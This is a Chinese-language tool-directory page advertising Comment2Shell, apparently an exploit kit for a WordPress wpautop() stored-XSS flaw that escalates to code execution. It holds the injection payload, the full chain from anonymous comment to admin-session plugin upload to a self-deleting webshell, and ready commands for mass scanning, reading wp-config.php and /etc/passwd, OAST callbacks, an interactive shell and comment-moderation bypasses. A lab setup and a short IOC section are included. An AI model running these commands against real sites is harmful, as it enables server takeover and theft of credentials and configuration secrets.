Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/deathshotxd/comment2shell
漏洞扫描器漏洞利用Web应用程序漏洞利用后渗透利用安全虚拟化Web安全渗透测试红队Payload 开发实验室与实践
GitHubdeathshotxd/comment2shell

Comment2Shell

零点击预认证 WordPress CVE-2026-93485 漏洞利用链:wpautop() 中的存储型 XSS 升级为管理员会话插件上传和自删除 webshell,附带扫描器、shell 和 Nuclei 模板。

查看仓库
72165910天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    429
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    256

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Comment2Shell

Comment2Shell 是 CVE-2026-93485 的端到端概念验证,该漏洞是 WordPress 核心 wpautop() 中的一个预认证存储型 XSS,可升级为管理员会话内的远程代码执行。一条匿名评论植入载荷;当管理员打开文章时,浏览器上传一个 webshell 插件、执行命令,然后再次删除该 shell。整条攻击链是一个无依赖的 Python 文件。

Comment2Shell logo

CVE-2026-93485, CVSS 7.1 HIGH, pre-auth, zero-click, fixed in 7.1.1

Animated terminal: the exploit chain end to end


什么是 Comment2Shell?

Comment2Shell 是 CVE-2026-93485 的漏洞利用与本地实验套件。该缺陷位于 wp-includes/formatting.php 中,在显示时对评论文本运行的 wpautop() 段落过滤器里。blockquote cite 属性内的一个换行会变成一个 HTML 注释占位符;包裹 blockquote 的正则在第一个 > 处停止,并向属性中间注入一个段落标签,浏览器随后将其解析为 onfocus 处理器。autofocus 属性使其零点击触发。

该工具覆盖整条攻击链:被动版本扫描、无害 XSS 探测、完整的预认证到 RCE 利用、交互式 shell,以及防御性 IOC 检查。


该漏洞利用不需要账户、不需要 nonce,也不需要除管理员查看文章之外的任何交互。评论只需处于开放状态。


Comment2Shell - CVE-2026-93485

为什么这很重要

WordPress 支撑着互联网的很大一部分,而 wpautop() 是核心代码,因此无论使用何种主题或插件,存在漏洞的过滤器都会随每个受影响的安装一起发布。该 XSS 是存储型、预认证且零点击的。由于它在管理员会话中执行,它不仅仅是一个篡改漏洞:管理员 cookie 足以安装插件,而安装插件就是任意代码执行。

修复随 WordPress 7.1.1 发布,并向后移植到 25 个分支,最低至 4.7.36。从 4.7.0 到 7.1.0 的每个版本都受影响。

演示


Comment2Shell demonstration


针对 WordPress 7.1.0 的受控实验运行:一条匿名评论植入载荷,管理员打开文章触发零点击攻击链,webshell 上传,命令输出返回,shell 自行删除。浏览器标签页标题报告结果,要么是 Comment2Shell: shell uploaded,要么是 Comment2Shell: admin login required。确切步骤见 docker/README.md。

研究贡献

Comment2Shell 并不声称发现了该缺陷。它由 Rafie Muhammad(Awesome Motive)通过 HackerOne WordPress 项目报告,并在 7.1.1 中修复。此处的贡献是完整攻击链的可复现、无依赖实现:

  • 让载荷在 KSES 下存活的显示时过滤器条件
  • 浏览器内 ZIP 构建器,使插件上传无需外部文件
  • 自动清理,webshell 在命令执行后自行解除链接
  • 蓝队工件:一个 nuclei 模板、一个 IOC 脚本和日志查询

攻击流程

Anonymous comment, wpautop bug, zero-click XSS, admin view, remote code execution


1. Anonymous comment submission (no auth, no nonce)
   POST /wp-comments-post.php
   <blockquote cite="a\nb"><code>x" onfocus=... autofocus>
   KSES allows blockquote[cite] and code; the newline in cite survives.

2. Display-time filter chain (the bug)
   wpautop() at formatting.php:563:
     preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
   [^>]* stops at the > inside the <!-- wpnl --> comment,
   so a <p> gets injected inside the cite attribute.

3. wptexturize() seals the attribute (block themes)
   Outer " becomes &#8221; (curly quote).
   The " inside <code> stays straight (no-texturize list).
   The browser then parses onfocus/autofocus as real attributes.

4. Zero-click XSS in the admin session
   autofocus fires onfocus on page load, no click needed.
   JS runs with the admin cookies.

5. Admin session -> plugin upload -> RCE
   GET /wp-admin/plugin-install.php, extract the nonce.
   Build ZIP in memory, POST update.php?action=upload-plugin.
   Webshell lands at wp-content/plugins/<rand>/<rand>.php.
   GET /wp-content/plugins/<rand>/<rand>.php?c=id

要求

  • 已发布文章上的评论处于开放状态(默认)
  • 允许匿名评论(默认,comment_registration=0)
  • 已启用区块主题(自 Twenty Twenty-Two 起为默认)
  • 管理员在登录状态下查看该文章
  • Python 3.8+(仅标准库)

安装

git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help

仅需 Python 3.8+ 标准库,无需 pip install。

用法

被动版本扫描

# Single target
python3 comment2shell.py --scan -t https://target.com

# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20

# From a pipeline
subfinder -dL targets.txt | httpx -title | \
  grep -i wordpress | python3 comment2shell.py --scan --stdin

# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json

每个结果对象包含以下字段:

字段含义
target规范化后的目标 URL
wordpress检测到 WordPress 时为 true
version检测到的版本,或 null
version_method版本的发现方式,例如 meta 或 readme
vulnerabletrue、false,或在版本未知时为 null
post_id可评论的文章 ID,或 null
error错误字符串,或 null

主动 XSS 探测

# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com

# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
  --callback https://your-id.oast.example

完整的漏洞利用链直至命令执行

该漏洞利用载荷在页面加载时触发 alert("Comment2Shell XSS - CVE-2026-93485") (通过 autofocus 实现零点击)。以管理员身份登录后查看该文章。 成功时标签页标题会显示 Comment2Shell: shell uploaded, 若浏览器没有管理员会话,则显示 Comment2Shell: admin login required。

# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"

# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"

# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60

# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup

# With an OAST callback
python3 comment2shell.py -t https://target.com \
  -c "cat /etc/passwd" \
  --callback https://your-id.oast.example

# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
  -c "whoami" --known-commenter

# Through a proxy
python3 comment2shell.py -t https://target.com \
  -c "id" --proxy http://127.0.0.1:8080

该工具提交 XSS 评论,每 3 秒轮询一次生成的 webshell 路径(最多 --wait 秒),在管理员的浏览器触发上传后执行命令,然后自删除 shell(?d=1 会删除 PHP 文件并移除插件目录),因此不会留下任何持久化痕迹。传入 --no-cleanup 可保留它,或传入 --wait 0 仅提交 payload。

交互式 shell

# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
  --shell-path ab12cd/ab12cd.php

# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
  --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"

IOC 检查

python3 comment2shell.py --ioc -t https://target.com

评论审核绕过

来自首次评论者的新评论通常会被搁置等待审核。 该工具提供了三种绕过此限制的途径:

途径方法标志
已知评论者复用默认的 "A WordPress Commenter" <[email protected]>,check_comment() 会自动批准该身份--known-commenter
关闭审核如果 comment_previously_approved=0,任何身份都会被自动批准默认
作者预览先前发表过评论的人可通过 ?unapproved=<id>&moderation-hash=<hash> cookie 查看待审核评论自动

据 Patchstack 所述:“审核并非安全控制措施。”

Docker 实验环境

启动一个存在漏洞的 WordPress 7.1.0 用于本地测试:

cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80  (host networking)
# Admin:  admin / Password123!
# Then:   python3 comment2shell.py -t http://localhost -c "id"

每次运行都会提交一条新的 payload 评论。页面上只有第一个 autofocus payload 会执行,因此该工具会检测活跃的 payload 并轮询其路径;在两次运行之间执行 bash clean.sh 以清除较早的评论。

检测

服务端 IOC

# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
下载工具